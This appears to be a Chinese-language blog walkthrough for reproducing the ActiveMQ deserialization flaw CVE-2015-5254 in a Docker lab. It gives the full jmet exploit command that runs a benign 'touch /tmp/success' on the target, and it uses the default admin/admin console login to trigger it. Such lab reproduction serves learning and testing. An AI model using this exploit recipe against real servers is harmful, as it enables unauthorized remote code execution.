CVE-2015-5254 (ActiveMQ 反序列化漏洞) 复现
此漏洞复现环境前提:
安装默认Java运行环境
apt install -y default-jre;
Java8运行环境
apt install -y openjdk-8-jre-headless;
如果系统中存在多个Java版本可以运行
update-alternatives --config java后输入Java8对应的编号切换版本;
正文:
进入CVE-2015-5254文件夹右键打开终端进入root模式
su
输入命令:docker compose up -d拉取容器

启动后会占用两个端口:
61616 端口:用于消息传递(漏洞利用的关键端口);
8161 端口:Web 管理页面(访问地址:http://你的靶机IP:8161);
成功进入漏洞前端页面示图:

访问链接:https://github.com/matthiaskaiser/jmet ,下载工具的 jar 文件(通常是jmet-0.1.0-all.jar)。
将下载的jmet-0.1.0-all.jar放在一个文件夹中,然后在同一个文件夹里手动创建一个名为external的空文件夹(否则运行工具可能会报错);
接下来构造并发送恶意命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 你的靶机IP 61616
PS:
命令简单解释:
event:创建一个名为 “event” 的消息队列;
touch /tmp/success:要执行的命令(在目标容器中创建一个/tmp/success文件,用于验证漏洞);
ROME:一种漏洞利用所需的 “模板”;
你的电脑IP 61616:目标漏洞环境的地址和端口。
运行后,如果成功,会显示发送消息的相关信息。
示图:

命令执行成功!
触发漏洞并验证
打开浏览器,访问 ActiveMQ 的 Web 管理页面:http://你的靶机IP:8161/admin/browse.jsp?JMSDestination=event
默认账密:admin/admin
点击页面中的消息查看详情,此时触发漏洞,
执行之前设置的touch /tmp/success命令;
消息详情示图:

此时回到CVE-2015-5254目录终端,输入以下命令进入运行 ActiveMQ 的容器内部:
docker compose exec activemq bash
再输入ls /tmp,如果能看到success文件,说明漏洞复现成功!

大佬们如有自己的见解可以在评论区发言互相交流复现过程出现问题可以在评论区留言

浙公网安备 33010602011771号